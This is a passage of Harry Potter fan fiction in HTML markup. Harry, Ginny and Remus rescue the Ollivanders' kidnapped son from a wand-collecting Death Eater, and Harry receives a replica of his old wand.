son.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I noticed,&#8221; said Remus.&nbsp; &#8220;So what about that?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Don&#8217;t you get it?&#8221; said\nHarry.&nbsp; &#8220;If I get a wand from them,\nthey&#8217;ll end up becoming more of Voldemort&#8217;s targets for having aided me.&nbsp; I can&#8217;t bring that on a family living happily\nin peace.&nbsp; They deserve more than that.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Don&#8217;t get all noble now!&nbsp; Without a wand, there&#8217;s no way you can fight\nYou-Know-Who!&nbsp; This is not the time for\nwell intended acts!&#8221; Ginny yelled, on the verge of tearing her own hair\nout.&nbsp; Harry and Remus were thankful that\nthe streets of Diagon Alley were more or less empty that day.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Look,&#8221; said Harry trying to\nbrush it off.&nbsp; &#8220;Ollivander&#8217;s aren&#8217;t the\nonly wands out there in the market.&nbsp; I\ncan get a new wand some place else.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny however wasn&#8217;t going to\nlet off that easily.&nbsp; She was so busy\nyelling that the three were too distracted to notice another man enter the\nstore.&nbsp; A man with piercings, torn\nleather clothes, a bleached Mohawk, Union Jack tattoos, and wands sticking out\nof every pocket in his clothes.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;May I help you?&#8221; Andrea\nOllivander asked pleasantly.&nbsp; Little Ian\nOllivander looked up at the strange man from his mother&#8217;s lap his eyes alight\nwith curiosity.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Actually you can lady,&#8221; replied\nChuck Sullivan.&nbsp; &#8220;Tell me where is\n&#8216;Ollivander&#8217;s final masterpiece&#8217;?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Excuse me?&#8221; said Andrea clearly\nhaving no idea what Chucky was talking about.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I don&#8217;t have time for games!&#8221;\nhissed Chucky.&nbsp; He grabbed Andrea&#8217;s arm\nbut Andrea pulled away frightened.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What are you doing sir?&#8221; she\ndemanded.&nbsp; Chucky grinned leeringly and\ndisplayed the Dark Mark on his arm.&nbsp;\nAndrea screamed in terror.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Andrea, what&#8217;s going on?&#8221;&nbsp; Timothy Ollivander emerged from the back of\nthe shop.&nbsp; As soon as he saw Chucky, he\npulled out his own wand and pointed it at the Death Eater.&nbsp; &#8220;Get out, now!&#8221; he demanded.</p>\n\n<p>&nbsp;</p>\n\n<p>Chucky grinned.&nbsp; With lightning reflexes, he pulled out two\nwands from his pockets and without even an incantation, the wands shot two\nbeams of magic out of them.&nbsp; One of the\nbeams disarmed Timothy and the other immobilized him and his wife.&nbsp; Timothy&#8217;s eyes widened in recognition.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Those wands, it can&#8217;t be...&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh but they are mate,&#8221; said\nChucky.&nbsp; &#8220;These are the specialty wands\nyour father made.&nbsp; The wand in my right\nhand is the &#8216;Expelliarmus&#8217; wand, 9 inches, beech wood, and the single hair of a\nmermaid, while the wand in my left hand is the &#8216;Immobulus&#8217; wand, 10 inches,\noak, with some dragon heart string.&nbsp;\nBrilliant things.&nbsp; They can only\nperform one spell each but they can be activated without an incantation.&#8221;&nbsp; Chucky pulled out another wand, which undid\nthe spell on the Ollivanders.&nbsp; Clearly,\nit was a &#8220;Finite Incantatem&#8221; wand.&nbsp;\n&#8220;Don&#8217;t bother shouting for help.&nbsp;\nThis store has been soundproofed from the moment I walked in.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What do you want?&#8221; Timothy\ndemanded.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You see they call me the &#8216;Wand\nHunter&#8217;, I collect wands,&#8221; said Chucky while twirling one of his wands\naround.&nbsp; &#8220;Your father&#8217;s wands are\nespecially prized in my collection and his specialty wands are my\nfavorite.&nbsp; But I was hoping to make my\nwand collection complete.&nbsp; So tell me\nwhere your father&#8217;s last wand is.&nbsp; Tell\nme where I can find &#8216;Ollivander&#8217;s final masterpiece&#8217;.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Nothing you do to me will make\nme tell you,&#8221; exclaimed Timothy.&nbsp; He\npushed Andrea and Ian behind him.</p>\n\n<p>&nbsp;</p>\n\n<p>The Wand Hunter grinned and said,\n&#8220;Who said I was going to do anything to you?&#8221;&nbsp;\nHe pulled out another wand.&nbsp; Much\nto Timothy&#8217;s horror, little Ian flew out of his mother&#8217;s arms and into Chucky&#8217;s\ngrasp.&nbsp; Andrea screamed as Ian burst out\ncrying.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;An &#8216;Accio&#8217; wand.&nbsp; 14 inches, pine, with a few strands of\ngriffin&#8217;s hair.&nbsp; Now I&#8217;m sure I&#8217;ve got a\nspecialty wand for the unforgivables in here somewhere.&nbsp; Want to find out?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;No, please don&#8217;t.&nbsp; Not Ian, don&#8217;t hurt Ian.&nbsp; Take me, not Ian,&#8221; pleaded Timothy.&nbsp; Next to him, Andrea had burst into sobs.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You&#8217;re wasting my time, mate,&#8221;\nsaid Chucky.&nbsp; &#8220;&#8217;Ollivander&#8217;s final\nmasterpiece&#8217;, where is it?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Defeated, Timothy said,\n&#8220;Westminster Abbey, in a grove nearby that&#8217;s only accessible to wizards and\nwitches.&nbsp; It&#8217;s lying in a memorial there\ndedicated to my father.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;See, that wasn&#8217;t too hard,&#8221;\nsaid the Wand Hunter.&nbsp; &#8220;Now, I&#8217;m going\nto get that wand and I&#8217;m taking this boy with me.&nbsp; If you even think about calling the authorities, consider the boy\ndead.&nbsp; Do as I say, and you just might\nsee him alive.&nbsp; So long.&#8221;&nbsp; After saying that, Chucky pointed the\n&#8216;Accio&#8217; wand to the back of the room and summoned a broomstick.&nbsp; Laughing, he flew out of a window still\nclutching a crying Ian.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ian, no!&#8221; Andrea screamed.&nbsp; Timothy held her close.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;We have to alert the Ministry,&#8221;\nhe said.&nbsp; Andrea looked at him in shock.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;But we can&#8217;t.&nbsp; He told us not to alert the Ministry.&nbsp; Otherwise he&#8217;ll kill Ian...&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;He&#8217;s going to kill him anyway,&#8221;\nshouted Timothy.&nbsp; &#8220;Didn&#8217;t you notice his\neyes?&nbsp; Those weren&#8217;t the eyes of someone\nwho loves wands!&nbsp; Those were the eyes of\nsomeone who loves killing with wands!&nbsp;\nAs soon as he gets a hold of my father&#8217;s last wand, he&#8217;ll test it on\nIan!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>At that moment, the couple was\nstartled when the door burst open again.&nbsp;\nIn came Ginny dragging a reluctant Harry behind her and Remus looking\nbemused.&nbsp; Ginny was still shouting.&nbsp; &#8220;I don&#8217;t care what you say, Harry.&nbsp; You&#8217;re getting a new wand even if I have\nto...&#8221; Ginny stopped her shouting when she noticed the distraught couple.&nbsp; &#8220;What happened?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry somehow had instantly\nrealized what had happened when he noticed that Ian was missing.&nbsp; &#8220;Where did they go?&#8221; he said.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;W-Westminster Abbey,&#8221; said\nTimothy.&nbsp; Wordlessly, Harry dug into his\ncloak and pulled out his Firebolt to the surprise of everyone else present.&nbsp; A second later he was in the air flying\ntoward Westminster Abbey as fast as his broomstick could carry him.</p>\n\n<p>&nbsp;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh will you shut up,&#8221; said\nChucky as he carried a crying Ian into the grove near Westminster Abbey, hidden\nfrom muggle eyes.&nbsp; &#8220;You stay there,&#8221;\nsaid Chucky, tying Ian to a tree.&nbsp;\n&#8220;You&#8217;re a valuable test subject for my new wand, can&#8217;t have you\nwandering off.&#8221;&nbsp; Leaving Ian behind,\nChucky started to make his way down the path that led to the memorial.&nbsp; &#8220;Now, to complete my collection...&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Before you complete your\ncollection I suggest you let the boy go,&#8221; said a voice from the entrance of the\ngrove.&nbsp; Startled, Chucky spun around to\nsee Harry.&nbsp; He had discarded his cloak,\nrevealing the black and scarlet uniform of the members of the Order of the\nPhoenix.&nbsp; It was a black open robe that\nwas tied down with a single black belt around the waist.&nbsp; Underneath that black robe, the uniform\nconsisted of a scarlet tunic with gold trimmings, gray trousers, gray dragon\nhide gloves, and black dragon hide boots.&nbsp;\nOn the back of the black robe was the image of a golden phoenix.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Glasses!&#8221; Ian exclaimed,\nobviously delighted at seeing Harry.&nbsp;\nHarry gave him a quick smile before returning to glaring at Chucky.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Who the hell are you mate?&#8221;\nhissed Chucky.&nbsp; In silent answer, Harry\nbrushed away his bangs, exposing his scar.&nbsp;\nChucky looked surprised and delighted at the same time.&nbsp; &#8220;So, you&#8217;re the Boy who lived.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I&#8217;ve been referred to as that,&#8221;\nsaid Harry.&nbsp; &#8220;So are you going to\nrelease Ian or are you not?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You really are na&#239;ve aren&#8217;t you\nPotter?&#8221; said Chucky.&nbsp; &#8220;After I get a\nhold of this &#8216;Ollivander&#8217;s final masterpiece&#8217; I was supposed to spy on\nyou.&nbsp; However, since you already seem to\nknow who I work for I might as well kill you now and spare you the trouble.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You&#8217;re welcome to try,&#8221; said\nHarry.&nbsp; &#8220;You have a name I could call\nyou by?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Chuck Sullivan a.k.a. Chucky\nthe Wand Hunter.&nbsp; And now that you know\nthat, Harry Potter, you&#8217;ll die.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;With a strangled cry Chucky\npulled out two curse wands and fired their spells at Harry.&nbsp; Harry managed to dodge one of the curses but\nwasn&#8217;t able to move out of the way of the other one.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ha gotcha!&#8221; Chucky proclaimed\nwhen the second curse hit Harry.&nbsp; His\ngloating soon turned to surprise however.&nbsp;\nHarry had blocked the curse with a shield charm from his broken wand.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You did that with a broken\nwand?&#8221; Chucky exclaimed.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hey give me a break, it&#8217;s a lot\nharder than it looks.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Fine then,&#8221; said Chucky a\nlittle irritated.&nbsp; &#8220;Then try dodging\nthis!&#8221;&nbsp; He pulled out another wand that fired\na blast of flame at Harry, an &#8220;Incendio&#8221; wand.&nbsp;\nRather than dodging however Harry charged straight at the flame.&nbsp; Right before the flame was about to engulf\nhim, Harry ducked low and slid right underneath the flames.&nbsp; The next thing Chucky knew, Harry was\nholding his broken wand right at Chucky&#8217;s chin.</p>\n\n<p>&nbsp;</p>\n\n<p><i>&#8220;Expelliarmus!&#8221;</i> shouted Harry.&nbsp; If Harry had been standing at a distance, the broken wand\nwould&#8217;ve backfired but since Harry was at pointblank range, the disarmer hit\nChucky right on target.&nbsp; He was flung\nback some eight feet, at least half of his numerous wands flying out of his\nhands and pockets.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Curse you!&nbsp; Curse you!&#8221; hissed Chucky as he leapt to his\nfeet.&nbsp; Harry dashed toward Chucky\napparently trying to use another pointblank disarmer against him.&nbsp; Chucky pulled out another curse wand and\nfired it at Harry just as he had come right in front of him.&nbsp; Harry however suddenly veered to the left\nand dodged the curse with a small summersault.&nbsp;\nAs Chucky turned to face Harry, Harry spun around and landed a high kick\non Chucky&#8217;s cheek.</p>\n\n<p>&nbsp;</p>\n\n<p>Chucky reeled back in pain.&nbsp; &#8220;You...you...&#8221; he spluttered.&nbsp; Chucky was extremely irritated at the fact\nthat he, the Wand Hunter, who had a legion of specialty wands at his command, was\nbeing bested by a wizard with a broken wand.&nbsp;\nHe backed off a little, intending to cool off.</p>\n\n<p>&nbsp;</p>\n\n<p>It was then when Ginny, Remus,\nand the Ollivanders arrived in the grove.&nbsp;\n&#8220;Ian,&#8221; Andrea exclaimed but Ginny held her back.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Don&#8217;t,&#8221; she said.&nbsp; &#8220;Fundamental rule of wizard dueling number\n1: a wizard or witch must <i>never</i> intervene in another wizard&#8217;s duel\nunless he or she&#8217;s the backup in case the dueler falls.&nbsp; We can&#8217;t intervene.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;But...but...Ian,&#8221; said Timothy.</p>\n\n<p>&nbsp;</p>\n\n<p>Remus was about to say something\nwhen Chucky looked up and saw them.&nbsp; &#8220;Oh\nlook, the gallery is here.&#8221;&nbsp; He turned\nto Harry and said, &#8220;Take a good look at these folks mate.&nbsp; They&#8217;ll be the witnesses to your\ndeath.&#8221;&nbsp; It was clear that he was\nstruggling to keep his cool.</p>\n\n<p>&nbsp;</p>\n\n<p>Harry glanced up at Chucky&#8217;s\nbleached Mohawk.&nbsp; &#8220;Have you ever\nconsidered a career in Quidditch? With hair like that you&#8217;d make a good\nbroomstick,&#8221; he said.</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny and Remus couldn&#8217;t help\nlaughing a little.&nbsp; From his tree, Ian\nstarted saying, &#8220;Broomstick, broomstick,&#8221; while laughing.</p>\n\n<p>&nbsp;</p>\n\n<p>Chucky finally lost his\ncool.&nbsp; &#8220;You&#8217;ll pay for that Potter!&#8221; he\nyelled.&nbsp; He flung off his leather\njacket, revealing one last wand holstered on his back.&nbsp; Timothy gasped in horror as Chucky took hold\nof the wand.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Mr. Potter!&nbsp; That&#8217;s the &#8216;Avada Kedavra&#8217; specialty wand!&#8221;\nhe shouted.&nbsp; The warning came just in\ntime; Harry barely managed to leap out of the way as the green killing curse\nflew past him.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh dear,&#8221; Harry muttered as he\nquickly inspected the crater left behind.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh ho, now you&#8217;re in trouble,&#8221;\ngloated Chucky.&nbsp; &#8220;Yew, 9 inches, and the\nsingle stinger of a manticore for its core.&nbsp;\nThis &#8216;Avada Kedavra&#8217; wand is one of the hidden masterpieces of John\nOllivander.&nbsp; You&#8217;d think he&#8217;d known\nbetter than to make specialty wands of the unforgivables but he simply couldn&#8217;t\nresist the lure of creating more and more powerful wands.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Dammit!&#8221; Harry cursed.&nbsp; He leapt out of the way of another killing\ncurse.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I hate that broom-head,&#8221; Ginny\nmuttered.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Join the club,&#8221; said\nRemus.&nbsp; It was then that he noticed the\nOllivanders whispering to each other and listened in.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Now&#8217;s our chance,&#8221; Timothy was\nwhispering.&nbsp; &#8220;While those two are\ndistracted dueling each other, I&#8217;ll go in and get Ian out.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;But what will happen to Mr.\nPotter then?&#8221; asked Andrea.&nbsp; &#8220;If you went\nin there, he&#8217;d be far too distracted trying to protect you as well as Ian.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;How do we know that?&#8221; said\nTimothy.&nbsp; &#8220;For all we know, he could\njust be fighting that Death Eater because he&#8217;s a Death Eater.&nbsp; This could all just be part of a grand\nscheme of vengeance against You-Know-Who and Ian could be something\nneglected...&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You seem to have a low opinion\nof Harry, Mr. Ollivander,&#8221; interrupted Remus to Timothy&#8217;s surprise.&nbsp; &#8220;However, before you jump into such rash\nconclusions I suggest to take a very good look at what it is Harry&#8217;s fighting\nfor.&#8221;&nbsp; Hesitantly, Tim Ollivander looked\ntoward Harry.</p>\n\n<p>&nbsp;</p>\n\n<p><i>&#8216;OK think Potter.&nbsp; You&#8217;ve got to come up with a plan,&#8217;</i> thought Harry.&nbsp; On a sudden inspiration, Harry charged straight at Chucky.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Your loss!&#8221; shouted the Wand\nHunter with a laugh.&nbsp; He fired another\nkilling curse straight at Harry.&nbsp; Harry\nhowever tossed his broken wand in front of him.&nbsp; The killing curse destroyed all that remained of the wand,\nleaving behind only the phoenix tale feather that comprised its core, and was\npromptly absorbed into the feather.&nbsp;\nBefore Chucky could react, Harry leapt at the Wand Hunter and elbowed\nhim in the forehead as hard as he could.</p>\n\n<p>&nbsp;</p>\n\n<p>Chucly keeled over as Harry\ngrabbed the phoenix tail feather: all that remained of his wand.&nbsp; <i>&#8216;Please be knocked out,&#8217;</i> both he and\nGinny silently prayed at the same time.&nbsp;\nHowever, Chucky pulled himself back up to his feet.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;That was close,&#8221; he said rather\ngroggily.&nbsp; &#8220;Too close.&nbsp; Nearly knocked me out.&#8221;&nbsp; He turned toward Harry and started laughing.&nbsp; &#8220;But you&#8217;re dead mate.&nbsp; Without a wand, even a broken one, there is\nno way you can defeat me!&nbsp; After I kill\nyou, I&#8217;ll take &#8216;Ollivander&#8217;s final masterpiece&#8217; for myself and test it on that\nbrat!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I won&#8217;t let you,&#8221; hissed\nHarry.&nbsp; &#8220;Even if I have to jump in front\nof the killing curse myself I will not let you lay a finger on Ian!&nbsp; Do you get that Death Eater?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>As soon as he said that, a\nsingle thought shot through Timothy Ollivander&#8217;s brain, <i>&#8216;This is the man!&#8217;</i>&nbsp; Without a second thought, Timothy started\nrunning toward the memorial.&nbsp; Ginny,\nRemus, and Andrea were too startled to stop him.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What is he doing?&#8221; Ginny\nyelled.&nbsp; Remus didn&#8217;t have an answer.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh no you don&#8217;t,&#8221; said\nChucky.&nbsp; He pointed the &#8216;Avada Kedavra&#8217;\nwand at the running figure of Timothy.&nbsp;\nBefore he could fire however, Harry threw a rock at him, which struck\nhis hand.&nbsp; &#8220;You are really pissing me\noff, Potter!&#8221; hissed Chucky.</p>\n\n<p>&nbsp;</p>\n\n<p>In the meantime, Timothy had\nreached his father&#8217;s shrine.&nbsp; <i>&#8216;This\nis the man,&#8217;</i> he thought.&nbsp; <i>&#8216;This\nis the man whom I can trust my father&#8217;s final masterpiece to!&#8217;</i>&nbsp; With that thought, he grabbed the simple\nlooking wand off of his father&#8217;s memorial.&nbsp;\nAs he left the memorial, Timothy quickly reviewed the fundamental rules\nof wizard dueling.&nbsp; <i>&#8216;Is there a rule\nI can use?&#8217;</i> he thought.<i> &nbsp;&#8216;Yes!&nbsp; Fundamental rule of\nwizard dueling number 4: if a dueler&#8217;s wand is destroyed, then the dueler may\ntake a spare wand from a bystander if he chooses, so long as the bystander\ndoesn&#8217;t intervene in the duel itself.&#8217;</i></p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Mr. Potter!&#8221; he yelled as soon\nas he was outside.&nbsp; &#8220;Please accept this\nwand!&#8221;&nbsp; He threw the wand into the\nair.&nbsp; Harry leapt up and caught it in\nhis right hand, where he was also holding the phoenix feather of his old\nwand.&nbsp; The odds were once again even;\nHarry immediately placed himself into a battle ready stance.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;So, that&#8217;s &#8216;Ollivander&#8217;s final\nmasterpiece&#8217; eh?&#8221; said Chucky.&nbsp; &#8220;Well\nthen, I&#8217;ll just finish you off and take it for my own.&#8221;&nbsp; Harry continued to glare at Chucky, his\nright hand twitching as if he wanted to curse Chucky till kingdom come.&nbsp; Yet, he did nothing.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What&#8217;s he waiting for?&#8221; yelled\nGinny.&nbsp; &#8220;He&#8217;s got a wand now!&nbsp; Why isn&#8217;t he hexing that broom-head with\neverything he has?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;He can&#8217;t and he won&#8217;t,&#8221; said\nRemus.&nbsp; &#8220;That wand isn&#8217;t specifically attuned\nto Harry the way his old one was.&nbsp; If\nHarry uses it, then even a plain stunner could very well kill that Death\nEater.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny was startled by this\nnews.&nbsp; &#8220;But...maybe...if he can save\nIan...&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ginny, did you know that the\nsorting hat initially wanted to put Harry into Slytherin house?&#8221; said Remus.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Harry has the potential and the\nmarkings to become a dark wizard every bit as powerful as Voldemort.&nbsp; If he kills that Death Eater in cold blood,\nhe&#8217;ll be no different than the Dark Lord and Harry knows it.&nbsp; That&#8217;s why he&#8217;s hesitating.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What&#8217;s the matter Potter? Too\nscared to move?&#8221; said Chucky. &#8220;Well, if you&#8217;re not going to move I will, by\nkilling that brat!&#8221;&nbsp; He pointed his wand\nat Ian.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;No!&#8221; Harry yelled.&nbsp; He dashed straight toward Chucky.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ha ha!&nbsp; You fell for it, mate!&#8221; said Chucky with a\nlaugh.&nbsp; He turned his wand straight at\nHarry.&nbsp; &#8220;Now you&#8217;re the one who&#8217;s going\nto die!&#8221;&nbsp; Chucky fired the killing\ncurse.&nbsp; However, using quick Quidditch\nreflexes, Harry kicked toward the left and leapt right over the killing\ncurse.&nbsp; &#8220;What?&#8221;&nbsp; The next instant Chucky found himself\nstarring at the &#8220;business end&#8221; of Harry&#8217;s new wand.</p>\n\n<p>&nbsp;</p>\n\n<p><i>&#8220;Stupefy!&#8221;</i> Harry yelled.&nbsp; Chucky was blasted back five feet and was finally defeated.</p>\n\n<p>&nbsp;</p>\n\n<p>For an awful moment everyone\npresent couldn&#8217;t tell if Chucky was alive or dead.&nbsp; However, that was soon confirmed when he groaned.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Harry!&#8221; Ginny exclaimed in\ndelight.&nbsp; &#8220;You did it!&nbsp; You didn&#8217;t become a killer!&nbsp; You&#8217;ve won without taking a life!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry released the breath he had\nbeen holding.&nbsp; &#8220;Thank God,&#8221; he said as\nhe glanced down at the wand.&nbsp; &#8220;Wait a\nminute.&nbsp; This wand...&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What about it?&#8221; asked Ginny.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;It doesn&#8217;t have a magical\ncore!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What?&#8221;&nbsp; Ginny took the wand and examined it\nherself.&nbsp; Indeed, it was hollow.&nbsp; &#8220;You&#8217;re right.&nbsp; But then how did you fire that stunner?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;The only reason I can think it\ndid that,&#8221; said Remus.&nbsp; &#8220;Is that it\nmust&#8217;ve bonded with that phoenix feather in your hand.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;But that&#8217;s not possible,&#8221; said\nTimothy as his wife untied their son.&nbsp;\n&#8220;Wands are supposed to be attuned to their own magical core.&nbsp; It should&#8217;ve rejected the phoenix feather of\na different wand.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Then how...&#8221; Ginny suddenly\nrealized something.&nbsp; &#8220;Harry, can you see\nwhat this wand is made of?&nbsp; How long it\nis?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry took the wand again gasped\nas he realized what Ginny had just said.&nbsp;\nThe wand was made of holly and was 11 inches long: a 100% replica of his\nold wand.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;It&#8217;s the same,&#8221; said\nHarry.&nbsp; &#8220;It&#8217;s the exact same as my old\nwand.&#8221;&nbsp; Before they could continue with\nthis discussion, the group was disrupted by Chucky&#8217;s groaning.</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny sighed and said, &#8220;Remus,\nwill you do the honors?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;My pleasure,&#8221; said Remus.&nbsp; He and Ginny pointed their wands at Chucky\nand gave him a hexing that would keep him out cold for hours.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;There, now what shall we do\nwith him?&#8221; said Ginny.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Turn him over to the aurors,&#8221;\nsaid Remus.&nbsp; &#8220;They&#8217;ll know what to do.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;This wand is yours,&#8221; said\nTimothy Ollivander.&nbsp; They were back at\nOllivander&#8217;s Wand Shop.&nbsp; Chucky was in\nauror custody and Ian was playing with his mother in the back.&nbsp; Timothy had just finished inserting the\nphoenix feather of Harry&#8217;s old wand into the new one and was presenting it to\nHarry.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I now know why my father made\nthis wand.&nbsp; It was meant to be a back up\nto yours, in case it was ever destroyed. &nbsp;My father knew that only one wand would ever be good enough for\nHarry Potter, the first one he sold you.&nbsp;\nHe must&#8217;ve made this wand in his hopes that it would some day defeat it&#8217;s\nbrother, the wand of You-Know-Who.&nbsp; And\nnow, here it is once again: holly, 11 inches, with the single tail feather of a\nphoenix for its magical core, nice and supple.&nbsp;\nPlease take it, Mr. Potter.&nbsp; No\npayment whatsoever.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>As Timothy said this, Harry&#8217;s\nthoughts drifted back to the past seven years ago, when he had first met John Ollivander\nand received his old wand...</p>\n\n<p>&nbsp;</p>\n\n<p><i>&#8220;Curious...curious...&#8221;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8220;Sorry,&#8221; said Harry, &#8220;but </i>what&#8217;s<i> curious?&#8221;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>Mr. Ollivander fixed Harry\nwith his pale stare.</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8220;I remember every wand I&#8217;ve\never sold, Mr. Potter.&nbsp; Every single\nwand.&nbsp; It so happens that the phoenix\nwhose tail feather is in your wand, gave another feather &#8211; just one other.&nbsp; It is curious indeed that you should be\ndestined for this wand when its brother &#8211; why, its brother gave you that scar.&#8221;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>Harry swallowed.</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8220;Yes, thirteen-and-a-half\ninches.&nbsp; Yew.&nbsp; Curious indeed how these things happen.&nbsp; The wand chooses the wizard, remember...I think we must expect great\nthings from you, Mr. Potter...After all, He-Who-Must-Not-Be-Named did great\nthings &#8211; terrible, yes, but great.&#8221;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p>With that thought in mind, Harry\ntook his new wand.&nbsp; Or rather he\nthought, his old wand reborn like a phoenix who was reborn after bursting into\nflame.&nbsp; Once again he felt a sudden\nwarmth in his fingers and once again when he waved it, the wand shot out red and\ngold sparks.&nbsp; Remus and Ginny applauded.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Mr. Timothy Ollivander,&#8221; said\nHarry, &#8220;I accept this wand.&nbsp; Thank you\nvery much.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p><b>To be continued...</b></p>\n\n<p>&nbsp;</p>\n\n<p>A/N Whew!&nbsp; That was the longest chapter I had to write\nso far.&nbsp; And one of the most fun I had\nwriting.&nbsp; For that flashback by the way,\nI quoted directly out of <i>Harry Potter and the Sorcerer&#8217;s Stone</i>, U.S.\nedition, Paperback, pg. 85.&nbsp; So\nR/R.&nbsp; Next: Harry gets reclusive again\nand Ginny finally meets up with Ron and Hermione.</p>\n\n<p>&nbsp;</p>\n\n<p>Oh, and Merry Christmas\neveryone!</p>\n\n\n\n\n\n\n'),
